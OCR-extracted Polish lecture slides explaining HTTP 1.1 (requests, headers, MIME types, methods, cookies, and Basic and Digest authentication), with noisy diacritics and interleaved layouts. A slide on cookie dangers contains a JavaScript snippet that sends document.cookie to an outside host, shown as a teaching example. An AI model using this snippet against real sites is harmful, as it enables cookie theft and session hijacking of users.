Protokdt HTTP — wprowadzenie

Protokot HTTP

» Podstawowy protokét World Wide Web

- wykorzystuje TCP/IP jako ,nosnik informac;ji’
* nalezy do tzw. warstwy aplikacji

- pozwala na zdalny dostep do zasobdw, ktorych
potozenie okreslajg tzw. adresy URL

* 0ogolniejsze pojecie Uniform Resource Identifier, oprécz
adreséw URL, obejmuje rowniez, niezalezne od
potozenia, identyfikatory zasobu” — tzw. Uniform
Resource Name(s).

- zasobami mogg by¢ (niemal) dowolne obiekty:
dokumenty hipertekstowe, pliki graficzne, elementy
multimedialne, a takze ,zasoby wykonywalne”

Protokot HTTP — podstawowe cechy

Protokot HTTP — podstawowe cechy

* Transakcyjnos¢

- (klient — serwer) nawigzanie potgczenia

- (klient — serwer) Zzadanie

- (serwer — klient) odpowiedz

)
)
)
- (serwer — klient) zamkniecie potgczenia

» Fazy nawigzywania i zamykania potgczenia mogg
w transakcji nie wystgpi¢ — protokdt HTTP 1.1
udostepnia tzw. potgczenia ,trwate” (ang. persistent)

 Bezstanowos¢

- zgdanie jest obstugiwane przez serwer HTTP
niezaleznie od historii wszystkich poprzednich

- zadne informacje nie sg przechowywane pomiedzy
wykonaniami kolejnych transakciji

» Bezstanowosc¢ ,,obchodzi sie” stosujgc np.:
- ciasteczka — mechanizm po stronie klienta
- sesje — mechanizm (gtdbwnie) po stronie serwera
- parametry (ukryte, badz jawne) zapytan




eciinologte tnternetowe

echnologie interneto

Protokot HTTP 1.1

Klienci i serwery HTTP

» Zdecydowana wiekszos¢ wykorzystywanych dzisiaj
klientéw i serwerdw jest zgodna z wersjg HTTP 1.1,
ktéra to jest aktualnie najnowszg dostepng wersjg tego
protokotu.

» Dalej, o ile nie zaznaczymy wyraznie, ze mowimy
o innej wersiji protokotu, nazwa HTTP bedzie dla nas
oznaczata protokot HTTP w wersji 1.1

Zadanie HTTP - odwotuje sie do zasobu na serwerze

Klient

»Przeslij mi plik logo.png
zawierajacy logo PJWSTK”
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¢

L Serwer

kd
Ll
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LR,

Odpowiedz HTTP - zawiera reakcje serwera

echinologte tnternetowe

echinologte tnternetowe

Klienci i serwery HTTP

Przyktadowa transakcja HTTP

Zadanie HTTP - zawiera adres URL oraz polecenie

GET /img/logo.png HTTP/1.1
Host: serwer.pjwstk.edu.pl

|

\ -
HTTP/1.1 200 OK <0485,
H Content-type: image/png £ ﬁ
Klient Content-length: 1335 5 7 Serwer
... Iﬁmta}\

Odpowiedz serwera - zawiera wynik polecenia

lt— — Connection: close

zadanie

GET /img/logo.png HTTP/1.1

Host: serwer.pjwstk.edu.pl

User-Agent: Mozilla/5.0 (X11; U; Linux [...]
Accept: text/html,application/xhtml+xml, [...]
Accept-Language: pl,en-us;q=0.7,en;g=0.3

Accept-Encoding: gzip,deflate Serwer
Accept-Charset: UTF-8, * [

nagtowki HTTP | _

odpowiedz

HTTP/1.1 200 OK

Date: Thu, 05 Feb 2014 15:38:02 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Thu, 18 Aug 2013 15:16:18 GMT —  —

ETag: "lal97b-537-3fe9dble49480"
Accept-Ranges: bytes
Content-Length: 1335

Content-Type: igéqe/pnq

nagtowki HTTP

.. tres$é, czyli obrazek




Przyktad — anatomia zadania HTTP

Przyktad — anatomia zadania HTTP

GET /img/logo.png HTTP/1.1

« polecenie przestania pliku /img/logo.png, zrealizowane za
pomocg metody GET protokotu HTTP w wersji 1.1

Host: serwer.pjwstk.edu.pl

* nagtéwek okreslajgcy nazwe serwera (obowigzkowy!)
User-Agent: Mozilla/5.0 (X11; U; Linux [...]

* nagtowek okreslajgcy klienta wysytajgcego zgdanie
Accept: text/html,application/xhtml+xml, [...]

* nagtéwek okreslajgcy typy akceptowanych przez klienta
zasobow

Accept-Language: pl,en-us;g=0.7,en;g=0.3

* nagtowek okreslajacy ,preferencje jezykowe” klienta, pozwala
,wynegocjowac” dokument/zasdb w odpowiedniej wers;ji
jezykowej

Accept-Encoding: gzip,deflate

* nagtowek okreslajgcy akceptowane przez klienta metody
,ransformacji danych” (np. kompresji) — nazwa nagtéwka jest
nieco mylaca...

Accept-Charset: UTF-8,*

* nagtoéwek okreslajgcy preferencje klienta odnosnie uzywanego
kodowania znakdéw — tutaj widzimy, ze preferowane jest UTF-8

Przyktad — anatomia odpowiedzi HTTP

Przyktad — anatomia odpowiedzi HTTP

HTTP/1.1 200 OK

« ,kod statusu” odpowiedzi — wartos¢ 200 oznacza, ze zasob
zostat pomysinie wystany do klienta

Date: Thu, 05 Feb 2014 15:38:02 GMT
» nagtdwek okreslajgcy date i czas utworzenia odpowiedzi

Server: Apache/2.2.22 (Debian)

» nagtéwek okreslajgcy rodzaj i wersje oprogramowania
serwera, ktéry udzielit odpowiedzi
Last-Modified: Thu, 18 Aug 2013 15:16:18 GMT

 nagtéwek okreslajgcy kiedy, wedtug serwera, zasob zostat
ostatni raz zmodyfikowany

ETag: "1al97b-537-3fe9%dble49480"

* nagtéwek podajgcy tzw. ,entity tag” zasobu — jego wartosé
wykorzystywana jest przez klienta w procesie buforowania
(cache'owania) tresci zasobow

Accept-Ranges: bytes
* nagtowek méwigcy o tym, ze serwer dopuszcza réwniez
pobranie ,fragmentu tresci” zasobu (o zakresie wyrazonym

w bajtach); w szczegdlnosci umozliwia to wznawianie
pobierania zasobu ,0d pewnego miejsca”...

Content-Length: 1335

* nagtowek okreslajgcy wielkos¢ przesytanego przez serwer
zasobu w bajtach




Przyktad — anatomia odpowiedzi HTTP

Connection: close

* nagtbwek méwigcy o tym, ze po wystaniu tresci zasobu
serwer zamknie/zakonczy potgczenie — nie zawsze musi tak
by¢, gdyz protokét HTTP dopuszcza tez tworzenie ,potgczen
trwatych” (ang. persistent connections)

Content-Type: image/png

» nagtowek okreslajacy ,typ medium” zwigzany z przesytanym
zasobem; w naszym przykfadzie jest to typ pliku graficznego
o podtypie/formacie PNG

» w przypadku zasobow tekstowych typ zawiera czesto rowniez

specyfikacje uzywanego przez zasob kodowania znakéw

Zasoby, typy mediéw i adresy URL

/asoby sieciowe i ich typy

Typy zasohow — standard MIME

« Serwery HTTP oferujg w sieci zasoby, ktérych tresc
przesyfana jest klientom na dwa sposoby:

- statycznie: treS¢ zgromadzona jest w systemie plikow
serwera i z niego przesyfana do klienta

- dynamicznie: tres¢ jest tworzona/generowana przez
réznego rodzaju programy ,na zgdanie”; potencjalnie
z wykorzystaniem parametryzacji

» Do klasyfikowania treéci stuzy pojecie ,typu medium”
(ang. media type)

MIME — ang. Multipurpose Internet Mail Extension
oryginalnie — opis zatgcznikdw poczty elektronicznej

obecnie — standard opisu typu medium dla tresci zasobow
sieciowych

Specyfikacja typu medium:

- typ/podtyp[; parametry opcjonalne]
Przyktady:

- text/plain; charset=UTF-8

- application/pdf

- image/jpeg

- video/quicktime




nterneto

Typy zasobow — standard MIME

Odwotania do zasohdw — adresy URL

Standard MIME opisujg dokumenty rfc2045 — rfc2049

TYPE := "application"™ | "audio" | "image" | "message" | "multipart"
"text" | "video" | IETF-TOKEN | X-TOKEN

SUBTYPE IANA-SUBTOKEN | IETF-TOKEN | X-TOKEN

IETF-TOKEN = <extension token with RFC and registered with IANA]
IANA-SUBTOKEN := <extension token registered with IANA>

X-TOKEN = <"X-" or "x-" prefix, followed by any token>
PARAMETER := TOKEN "=" VALUE

VALUE
TOKEN :

TOKEN | QUOTED-STRING
l1*<any (US-ASCII) CHAR except SPACE, CTLs, or TSPECIALS>

TSPECIALS := "(ll ‘ ll)" | nen | nsn ‘ "av I ll,ll | wen | nen ‘
"\" ‘ <> I ll/" | u[" ‘ "]vl w_mn

http://www.iana.org/assignments/media-types/

URL — ang. Uniform Resource Locator

schemat:czes¢ zalezna od schematu

URL dla schematu HTTP
http://ser[:prt] [zas] [?arg] [#£frg]

ser - nazwa lub numer IP serwera

prt - numer portu IP serwera (domysinie 80)

zas - sciezka do zasobu na serwerze (domysinie /)
arg - lista argumentow przekazywanych do zasobu

frg - identyfikator ,fragmentu” zasobu — brany pod
uwage przez klienta dopiero po pobraniu zasobu

nternetowe

Adresy URL — schemat HTTP

Przyktady
- http://serwer.pl/img/logo.png
» serwer.pl —nazwa sewera HTTP
e /img/logo.png — petna sciezka do zasobu
- http://serwer.pl/news.html#wazne

» wazne — odwotanie do miejsca w tresci zasobu
oznakowanego etykietg ,wazne”
- http://serwer.pl/news/?d=20140217&nr=2
» d=20140217&nr=2 — argumenty przekazywane do

zasobu wykonywalnego /news/; cigg par postaci
nazwa_arg=wartosc¢ rozdzielonych znakami ,&”

 za poprawng interpretacje argumentéw odpowiada zasob

Polecenia HTTP — ,metody”




Metody HTTP

Metody HTTP c.d.

HTTP udostepnia polecenia, zwane metodami:
- GET

» zgdanie przestania zasobu o podanej nazwie od serwera
do klienta; moze tez stuzy¢ do przesytania niewielkich
ilosci danych od klienta do serwera (jako czesci adresu
URL zasobu do ktérego odwotuje sie klient)

- HEAD

 zgdanie przestania wytgcznie czesci nagtowkowej
zwigzanej z podanym zasobem

POST

» zgdanie przestania danych od klienta do serwera w celu
przetwarzania
TRACE
» pozwala klientowi stwierdzic, jak wyglgda polecenie,

ktore wystat do serwera po dojsciu do niego (pomaga np.
zdiagnozowa¢ ewentualne problemy z serwerami proxy)

OPTIONS

 zgdanie ,,odpytujgce” serwer na temat mozliwosci, jakie

— PUT ten ostatni oferuje
» zgdanie zapisania danych przesytanych od klienta na - DELETE
serwerze » zgdanie usuniecia podanego zasobu z serwera — rzadko
udostepniane przez serwer i wykorzystywane w praktyce
Metody HTTP c.d. Zadanie HTTP — ogolny schemat
Uwagi <metoda> <adres zasobu> <wersja protokoiu>

- HTTP dopuszcza uzywanie niestandardowych metod
rozszerzajgcych mozliwosci protokotu — np. LOCK,
COPY czy MOVE z WebDAV (Web-based Distributed
Authoring and Versioning)

- Serwer HTTP nie musi implementowac¢ wszystkich
standardowych metod HTTP

- Nawet jesli implementacja jest petna nie oznacza to, ze
serwer udostepnia je bez ograniczen — np. nie kazdy
uzytkownik serwera bedzie zapewne uprawniony do
usuwania oraz zapisywania zasobéw — DELETE, PUT

- ,Zgodnos¢ z wersjg HTTP/1.1” wymaga jedynie obstugi
metod GET oraz HEAD

<lista nagiéwkow>
<pusta_linia>
[<zawartosé>]

<metoda>
e GET, HEAD, PUT, POST, OPTIONS ...
<adres_zasobu>

« petny adres, sciezka wzgledna, lub ,*”, co oznacza
odwotanie do samego serwera

<wersja protokoiu>
e HTTP/0.9, HTTP/1.0, HTTP/1.1 ...




/adanie HTTP — ogolny schemat c.d.

/adanie HTTP — ogolny schemat c.d.

<lista_ nagidéwkoéw>
* cigg par postaci

<nazwa>: <wartosé>

okreslajgcych ,atrybuty zgdania”; nazwy nagtowkéw
interpretowane sg niezaleznie od wielkosci znakow

<zawartosé>
* opcjonalna tres¢ wiadomosci — moze zawiera¢ dane

tekstowe, binarne, albo moze by¢ pusta, jak np. dla
metody HEAD

Uwagi:
- w protokole HTTP/0. 9 jedyng dostepng metodg byta
metoda GET

- dla protokotow HTTP/0.9 oraz HTTP/1.0 mozliwe jest

skonstruowanie zgdania z pusta listg nagtéwkow (oraz
pustg trescig), np.

GET / HTTP/1.0

- protokot HTTP/1 .1 wymaga co najmniej nagtowka
Host okreslajgcego nazwe serwera

.

/adania — podstawowe metody

.

/adania — podstawowe metody

Zadanie dla metody GET

- zawartos¢ wiadomosci jest zawsze pusta

- argumenty zawarte w adresie URL zasobu mogg stuzyc¢
do przesytania danych do serwera, np.

GET /cgi-bin/uro.pl?mm=07&dd=27 HTTP/1.0

- zgdanie moze by¢ ,warunkowe” — np. w kontekscie
nagtowka If-Modified-Since

- mozliwe ,czesciowe pobranie” zasobu z uzyciem
nagtobwka Range — np.

Range: bytes=100-200,300-

Zadanie dla metody HEAD

- wiasnosci analogiczne jak dla metody GET
- jedyna réznica to fakt, ze przesytany w odpowiedzi jest
nie sam zaséb, a jedynie czes¢ nagtéwkowa
- pewne uzyteczne nagtowki:
« Last-Modified — przydatny do organizacji zarzgdzania
pamiecig podreczng klienta

e Content-Length — pozwala np. oceni¢ czas potrzebny
na pobranie zasobu

« Content-Type — pozwala stwierdzi¢, czy klient poradzi
sobie ze zobrazowaniem zasobu po jego pobraniu




/adania — podstawowe metody

Odpowiedz HTTP — ogdlny schemat

Zadanie dla metody POST

- pozwala przesyta¢ dane do serwera
- dane stanowig zawartos¢ zgdania

- metoda czesto wykorzystywana do przesytania danych
Z roznego rodzaju formularzy umieszczanych na stronach
internetowych

- za poprawne przetworzenie danych odpowiada zaséb
wykonywalny, do ktérego odwotuje sie zgdanie

<wersja protokoiu> <status> <komunikat>
<lista nagiowkéw>

<pusta_linia>

[<zawartosé>]

<wersja protokoiu>
« HTTP/0.9, HTTP/1.0, HTTP/1.1 ...
<status>

« trzycyfrowa liczba okres$lajgca rezultat zgdania, na
ktére wiadomos$¢ odpowiada; jej pierwsza cyfra mowi
o tym do jakiej ,klasy” rezultat nalezy: 1 — informacja,
2 — sukces, 3 — przekierowanie zgdania, 4 — btad po
stronie klienta, 5 - btad po stronie serwera

Odpowiedz HTTP — ogdlny schemat c.d.

Nagtéwki HTTP

<komunikat>

« czytelny dla cztowieka opis kodu <status> — jego
tresS¢ jest pomijana przez programy-klientéw
<lista nagiéwkow>
* cigg par postaci
<nazwa>: <wartosé>
okreslajgcych ,atrybuty odpowiedzi”
<zawartosé>

* opcjonalna tres¢ odpowiedzi — moze zawiera¢ dane
tekstowe, jak i binarne

» Nagtowki HTTP mozna podzieli¢ na:
- ogoblne
uzywane zarowno przez klientéw, jak i serwery, np. Date
- zadania

uzywane (i majgce sens) wytgcznie w zgdaniach, np.
User-Agent, Host, Referer, Accept, Range

- odpowiedzi

uzywane wytgcznie w odpowiedziach, np. Retry-After,
ETag, Accept-Ranges, Location

- zawartosci

uzywane do charakteryzowania zawartosci wiadomosci,
np. Content-Type, Content-Length




Nagtowki HTTP c.d.

Nagtowki — negocjacja zawartosci

» dodatkowe

- niestandardowe nagtéwki dodawane przez tworcow
oprogramowania

- tworzgc aplikacje postugujgce sie protokotem HTTP
trzeba zadbac o to, aby tolerowaty one obecno$c
nagtowkow dodatkowych

- wsérod nagtéwkow dodatkowych niektére sg szeroko
stosowane, jak np. nagtowki stuzgce do obstugi tzw.
,ciasteczek”. Set-Cookie i Cookie

 Klient informuje o tym, co akceptuje

strona kodowa tekstu (Accept-Charset); domysinie
IS0-8859-1 (tzw. ISO Latin1)

»iransformacja danych” (Accept-Encoding), np.
compress lub gzip

jezyk dokumentow (Accept-Language)

typy mediow (Accept)
« Serwer uzywa powyzszych danych (oraz nagtbwka User-
Agent) i wybiera najodpowiedniejszg reprezentacje zasobu

» Wysyta zasob do klienta wraz z ,meta-informacjami” w postaci
nagtdwkow: Content-Encoding, Content-Language,
Content-Type, Transfer-Encoding, ...

Potaczenia HTTP

Potagczenia HTTP

Protokot HTTP korzysta z infrastruktury TCP/IP

Internet

{ %K .. TH 1mth.xedni/ TE;P

Klient

Serwer

HTTP warstwa aplikacji

Tcp warstwa transportowa

‘ P warstwa sieciowa
‘ warstwa fizyczna

Interfejsy sieciowe




HTTP i TCP/IP

Potaczenia HTTP

Klient K ; Serwer

S$1) stwdrz nowe gniazdo (socket)
S$2) zwigz gniazdo z portem 80 (bind)
S3) zezwdl na potgczenia (listen)

(K1) ustal adres IP i nr portu S4) czekaj na potgczenie (accept)

(K2) stworz nowe gniazdo (socket)
(K3) pofacz sie z serwerem IP:port (connect)

P

« ——  (S5)potwierdz potgczenie

(K4) potaczenie udane (S6) rozpocznij czytanie zadania (read)

(K5) wyslij zadanie HTTP (write
(K6) czekaj na odpowiedz (read)

(K7) przetwérz odpowiedz HTTP
(K8) zamknij potaczenie (close)

(S7) przetworz zadanie HTTP

(S8) wyslij odpowiedz HTTP (write)
(S9) zamknij potaczenie (close)

» Potgczenia HTTP, w odréznieniu od potgczen TCP/IP,
nie muszg by¢ bezposrednie

<@

Klient Proxy k Proxy n Serwer

Potaczenia HTTP

Potaczenia HTTP

« Czasami dwie ,sgsiadujgce” aplikacje HTTP moga
chcieC zastosowac pewne opcje w odniesieniu do
wspotdzielonego potgczenia

« Wykorzystywany jest wtedy nagtobwek Connection,
ktéry moze nies¢ trzy rodzaje wartosci:

- liste nazw nagtowkow HTTP, ktorych wartosci odnoszg
sie jedynie do tego konkretnego potgczenia

- liste dowolnych niestandardowych wartosci, majgcych
znaczenie dla tego potgczenia

- warto$¢ close moéwigcg o tym, ze potgczenie zostanie
zamkniete

» Aplikacja HTTP otrzymawszy wiadomos¢ zawierajgca
nagtéwek Connection

sprawdza jego wartosé
stosuje opcje, ktorych zgdat nadawca

usuwa z wiadomosci nagtowek Connection oraz
wszystkie nagtowki wymienione w jego wartosci

przekazuje wiadomos$¢ do kolejnego odbiorcy
w tancuchu klient — serwer docelowy




Potaczenia trwate

» Pozwalajg wykonywac transakcje bez koniecznosci
kazdorazowego otwierania i zamykania potgczenia

Klient Serwer Klient Serwer
1

open open [

close
open

HTTP — personalizacja,
autoryzacja i uwierzytelnianie

i
il

close

\ \ \ \
Potaczenia ,standardowe” Potgczenie trwate
HTTP <= 1.0 HTTP 1.1
Personalizacja ... Personalizacja ...
* Problem » Podstawowe techniki
- serwery HTTP obstugujg tysigce zgdan pochodzacych - wykorzystanie nagtéwkéw HTTP niosgcych informacije
od réznych klientéw o uzytkowniku
- co zrobi¢, aby méc traktowaé zgdania ,indywidualnie”, - tzw. ,grube adresy URL” (ang. fat URLS)

. . "oy . ” . . . .
a nie ,anonimowo - ,ciasteczka” (ang. cookies) — silny i wydajny

» Typowe zastosowania personalizacji mechanizm trwatej personalizaciji
~ zindywidualizowane powitania - mechanizm ,logowania” uzytkownikéw potgczonego
. - Z uwierzytelnianiem
- ,ukierunkowane rekomendacje
- przechowywanie danych uzytkownika

- sledzenie sesji uzytkownika




Personalizacja ...

Personalizacja ...

« Wykorzystanie nagtowkow HTTP

- From — nagtéwek zgdania zawierajgcy adres e-mail
uzytkownika

- User-Agent — nagtowek zgdania identyfikujgcy klienta
HTTP

- Referer — adres URL strony za posrednictwem ktorej
uzytkownik uzyskat odsytacz do biezgcego zasobu

- Client-IP — numer IP komputera na ktérym dziata
klient

* Informacja niesiona przez wyzej wymienione nagtowki
daje bardzo ograniczone mozliwosci personalizacij;
natomiast zupetnie nie nadaje sie do uwierzytelniania

» Wykorzystanie ,grubych adreséw URL”

- kiedy uzytkownik/klient tgczy sie z serwerem, otrzymuje
unikatowy identyfikator

- identyfikator staje sie cze$cig zgdania, ktore powstaje
z oryginalnego zgdania przez wplecenie identyfikatora

- oryginalne zgdanie zostaje przekierowane na swojg
postaé ,spersonalizowang”

- ilekro¢ serwer otrzymuje spersonalizowane zgdanie
(korzystajgc ze zwigzanego z identyfikatorem ,stanu”)
generuje kolejne adresy tak, aby zachowac¢ informacje
identyfikujaca

» Technika ta nie jest niestety pozbawiona wad...

Personalizacja ...

Personalizacja ...

» ,Grube adresy URL” — problemy
- wyglad
* adresy z zaszytymi identyfikatorami wygladajg zle
- ktopoty z buforowaniem i rozpowszechnianiem

* praktycznie nie nadajg sie do buforowania oraz
rozpowszechniania poniewaz zawierajg dane
konkretnych uzytkownikéw i sesji

- zwiekszone obcigzenie serwera
* ,personalizujgc” zgdania serwer musi je przeksztatcac
- nietrwatos¢

* informacja nie jest zachowywana pomiedzy sesjami (o ile
,gruby URL” nie zostanie zapamietany np. w zaktadkach)

» Ciasteczka — najpopularniejszy obecnie sposob
identyfikacji uzytkownikéw i przechowywania
parametrow sesji

« Dwa gtdbwne typy ciasteczek

- sesyjne

» uzywane do przechowywania parametréw i preferencji
zwigzanych z ,biezgcg sesjq”; usuwane przy zamykaniu
przegladarki

- trwate

 zapisywane na dysku, majg diuzszy ,czas zycia”; potrafig
przetrwac restart przegladarki/systemu

* czesto przechowujg ,profil konfiguracyjny” uzytkownika
zwigzany z danym serwisem




Ciasteczka

Ciasteczka

» Ciasteczka nie sg czescig definicji protokotu HTTP/1.1
« Dwa ,standardy ciasteczek”

- oryginalny, zdefiniowany przez firme Netscape:
« Persistent Client State: HTTP Cookies”
* okreslany jako ,Wersja 0” (ang. Cookies Version 0)

- ,hiezalezny”, zdefiniowany w dokumentach RFC 2109
oraz RFC 2965:

» ,HTTP State Management Mechanism”
« okreslany jako ,Wersja 1” (ang. Cookies Version 1)

Ograniczymy sie do powszechnie uzywanej ,Wersji 0”

 Dokument ,Persistent Client State: HTTP Cookies”
definiuje dwa nagtowki do obstugi ciasteczek:

- Set-Cookie (nagtébwek odpowiedzi)
- Cookie (nagtowek zgdania)
« Wartoscig nagtbwka Set-Cookie jest cigg postaci:

name=v|; expires=dt]|[; path=pt][; domain=dm] [; secure

- name jest (dowolng) nazwg ciasteczka ustalang przez
serwer, a v — okresla jego wartosc¢

- para ,name=v" jest (jedynym) elementem obowigzkowym
wartosci nagtbwka Set-Cookie

- przyktad: Set-Cookie: user=Jacek
Ciasteczka Ciasteczka
name=v|; expires=dt]|[; path=pt]|[; domain=dm] [; secure name=v|; expires=dt]|[; path=pt]|[; domain=dm] [; secure

- warto$¢ dt atrybutu expires oznacza ,date waznosci”
ciasteczka; jej format to:

*» Weekday, DD-Mon-YY HH:MM:SS GMT
- przyktad:
» Wednesday, 24-Feb-12 12:25:00 GMT
- uwagi:
 gdy uptynie ,data wazno$ci” ciasteczka, nie bedzie juz ono
ani przechowywane dtuzej przez klienta, ani przesytane
« jesli serwer nie przestat atrybutu expires, to oznacza to,
ze ciasteczko jest typu sesyjnego

- warto$¢ pt atrybutu path pozwala okresli¢ prefiks Sciezki
do zasobow do ktorych ciasteczko ma sie odnosié

- przyktad:
« path=/foo

. ,/foo0” — 0znacza, ze ciasteczko odnosi si¢ np. do
./ foobar” jak i do ,/foo/bar.html”

« W szczegolnosci — ,,/” — 0znacza, ze ciasteczko odnosi sie
do wszystkich zasobéw na serwerze




Ciasteczka

Ciasteczka

name=v|; expires=dt]|[; path=pt]|[; domain=dm] [; secure

- warto$¢ dm atrybutu domain okresla domene, ktorej
dotyczy ciasteczko; warto$¢ ciasteczka mozna wysytac
wytgcznie do maszyn do niej nalezgcych

- przyktad:

e domain=xyz.net.pl

- uwagi:

» wytgcznie serwer znajdujacy sie w danej domenie moze
wysyta¢ ciasteczko z atrybutem odwotujgcym sie do niej

« jesli serwer nie przestat wartosci atrybutu domain, klient
przyjmuje, ze jest ona rowna nazwie serwera

- atrybut secure oznacza, ze ciasteczko mozna przesytac
jedynie przez bezpieczne potgczenie HTTPS

« Nagtdwek zgdania Cookie stuzy do przesytania do

serwera wszystkich nieprzeterminowanych ciasteczek,
ktére ,pasujg do filtra” — uzywanej $ciezki do zasobu,
nazwy serwera, oraz stosowanej metody przesytania
(HTTP/HTTPS)

Wartos$¢ nagtéwka Cookie stanowi (rozdzielona
Srednikami) lista wszystkich ciasteczek spetniajgcych
powyzsze wymagania i znajdujgcych sie w stanie
posiadania klienta, np.

Cookie: user=Jacek; last-visit=20140223

Ciasteczka — niebezpieczenstwa

HTTP i uwierzytelnianie

» Ciasteczka tez majg swoje problemy...

- co prawda specyfikacja mechanizmu ciasteczek
zabrania wysytania ich warto$ci serwerom ,nie
pasujgcym do filtra”, ale...

- korzystajgc z jezykow skryptowych (JavaScript) mozna
je podkradac i przesyta¢ do dowolnego serwera:

<a href="#" onclick="
window. location=
'http://xxx.com/?cs="'+escape (document. cookie) ;
return false;"
>Kliknij mnie!</a>

Cel uwierzytelniania to weryfikacja zadeklarowane;
tozsamosci uzytkownika

Jedng z najprostszych metod uwierzytelniania jest
mechanizm logowania z wykorzystaniem hasta

Protokét HTTP oferuje dwie metody uwierzytelniania:
- metode prostg/Basic (ang. Basic Authentication)
- metode skrétu/Digest (ang. Digest Authentication)

Zaktadamy, ze serwer posiada (i w bezpieczny sposéb
przechowuje) dane uwierzytelniajgce uzytkownikow
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Uwierzytelnianie — metoda Basic

Uwierzytelnianie — metoda Basic

GET /index.html HTTP/1.1
Host: www.xyz.pl

Serwer

HTTP/1.1 401 Login Required
WWW-Authenticate: Basic realm="Zaloguj sie”

Serwer

7) Podaj nazwe uzytkownikaihastol =) x|

Witryna  hittp:fwww.eyz.pl  zada
podania nazwy uzytkownika i hasta.
Komunikat witryny:

" Zaloguj sie”

uzytkownik:

o)

echnologie internetowe protokot H
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Uwierzytelnianie — metoda Basic

Uwierzytelnianie — metoda Basic

GET /index.html HTTP/1.1
Host: www.xyz.pl
Authorization: Basic dXNlcjpoYXNsbzE50TkK

b. 4

Serwer

Witryna  http:fwww.xyz.pl  zada
podania nazwy uzytkawnika i hasta.
Komunikat witryny:

"Zaloguj sie"

uzytkownik: | user

dXNlcjpoYXNsbzES50TkK = BASE-64 (user:haslol999)

O

j

HTTP/1.1 200 OK

Date: Mon, 23 Feb 2009 23:21:12 GMT
Content-Length: 964

[...1

Content-Type: text/html; charset=UTF-8

Klient

Serwer

<HTML>
<HEAD>
<META HTTP-EQUIV="Content-type" [...]




Uwierzytelnianie — metoda Basic Uwierzytelnianie — metoda Digest

* Uwagi » Ulepszenie metody Basic, opisane w RFC 2617

- informacja o nazwie uzytkownika i hasto przesytane sg - pozwala na uwierzytelnianie bez koniecznosci
(niemal) ,otwartym tekstem” — kodowanie Base-64 nie przesytania hasta w postaci ,otwartego tekstu”
jest wystarczajacym/zadnym zabezpieczeniem - zamiast hasta przesyta jego ,odcisk” zwany tez

- nawet gdyby powyzsze informacje byty lepiej ,Skrotem”, na podstawie ktérego, nie da sie odtworzyc¢
kodowane, to nic nie chroni ich przed przechwyceniem samego hasta
| wykorzystaniem do nieautoryzowanego dostepu - zabezpiecza przed przechwyceniem transmisji

- metoda Basic jest podatna na wykradanie hasta przez uwierzytelniajgcej w celu pdzniejszego wykorzystania
,:fa+szywe serwery” (a’ng. spoo_ﬁng_)_ " n_ie Ofe“fj('.“ - opcjonalnie moze stuzy¢ do zabezpieczania zawartosci
zzdrwng?:” mechanizméw weryfikacji tozsamosci wiadomosci HTTP przed nieautoryzowang zmiang

: . . . , _ - opcjonalnie pozwala na ,uwierzytelnienie serwera”
* Metode Basic mozna bezpiecznie stosowac wytgcznie

w potgczeniu z szyfrowanym potgczeniem (SSL/TLS)

ldea dziatania metody Digest Uwierzytelnianie — metoda Digest

Klient Serwer « Wykorzystywane elementy

@) Zadanie %Z “““““ Internet “““““ > U Pytanie o stan konta - funija haSZUjaca — MD5

- dane uwierzytelniajgce, zawierajgce (tajne) hasto — A1

A bytasz o poufe dane. - dane zwigzane z wiadomoscig — A2
A _ R ——— Internet —-- e Podaj mi swoja nazwe . . ”
(b) Wyzwanie L d | uzytkownika i skrét hasta! - ,liczby jednorazowe” (ang. nonce values)
Pytanie o nazwe uzytkownika i hasio * RFC 2617 definiuje dwie metody wykorzystania funkciji
digest(“haselko”)=A3F5 Podaj mi stan konta. P . . N

Moja nazwa uzytkownika skrotu do reprezentaciji danych uwierzytelniajgcych

(© Autoryzac iﬁg ————————— Internet - \ a2 st o
. - MD5
digest("haselko")=A3F5 - MD5-sess (tzw. sesyjna metoda MD5)

Zgadza sie!!!

A o) OK. P
. Przestane dane
(d) Sukces Internet E 3 uwierzytelniajace sa
_ ) prawidtowe!
Oto stan konta.
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Metoda Digest — nieco ,techniczniej”

Symetryczne uwierzytelnienie

Generuje:
- cnonce Serwer p
~licznik nc - __Generuje nonce
- URI oraz metode
Zadanie: GET / HTTP/L.1 o

)

Zapytanie do bazy
o hasto(realm) = pass

Pytanie o nazwe B
uzytkownika i hasto

e
O“" WWW-authenticate: Digest realm="Cos" nonce="5fx7"
n
nazwa A algorithm=MDS5, domain="/", qop=auth
hasto (€ 3 <dane>

Odpowiedz: HTTP/1.1 401 unauthorized

Zadanie: GET / HTTP/1.1

Authorization: Digest username="ja" realm="Cos",
- jnonce="5fx7", url="/", algorithm=MDS5, response="74xd'}
s\"’“se qop=auth, nc=0001, cnonce="89c7"
(e

MD5 ?
‘Odpowiedz: HTTP/1.1 200 OK
N
1‘0 2 Authenti
cnor

> ication-Info: rspauth="c8730fed8f6",
\406 nce="89c7", nc=0001, qop=auth
. <dane> .
Wyswietl dokument Y
2wieksz licznik s ,
== | Zadanie: GET / HTTP/1.1 ™
ncol > "
K me="Ja" realm="Cos" Nie

st usernal .
algorithm=MD5, response="4c7e{,
c=0002, cnonce: ="74d4"

Brak autoryzacji
. Odpowiedz: HTTP/1.1 200 OK powrdt do 2
Pytanie o nazwe
uzytkownika i hasto

powrdt do 3 ane>

Authentication-Info: rspauth="{7430ced26e",

response = MD5[MD5(username:realm:pass):nonce:nc:cnonce:qop:MD5(metoda:URI)]

§

Zadanie
rz .
Przestania dok“mEntu
j nonce
Wyzwanie: liczba ]ednorazowa

Aut )
M;JFYZEICJG: respﬂhse
Y2Wanie: cnonce
Potwierdzenie: rspauth B

rspauth = MD5[MD5(user:realm:pass):nonce:nc:cnonce:qop:MD5(:URI)]

Serwer

echnologie internetowe
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Metoda Digest — odpornos¢ na ataki

Metoda Digest — odpornos¢ na ataki

* Najwazniejsze metody potencjalnego ataku:
- atak przez powtarzanie (replay attack)
- atak stownikowy (dictionary attack)
- atak metodg ,man in the middle”

» Atak przez powtarzanie

- atakujgcy przechwytuje zgdanie pochodzgce od
uwierzytelnionego klienta, a nastepnie powtarza je

- atakujgcy musi poradzi¢ sobie z zabezpieczeniami,
a w szczegoblnosci ze zmieniajgcymi sie wartoSciami
liczb jednorazowych

- liczba jednorazowa powinna by¢ stosowana
jednorazowo (sic!), badz przez bardzo krétki czas

* Przy poprawnym wykorzystaniu liczb jednorazowych
metoda Digest jest w zasadzie odporna na atak przez
powtarzanie




Metoda Digest — odpornos¢ na ataki

Metoda Digest — odpornos¢ na ataki

» Atak stownikowy

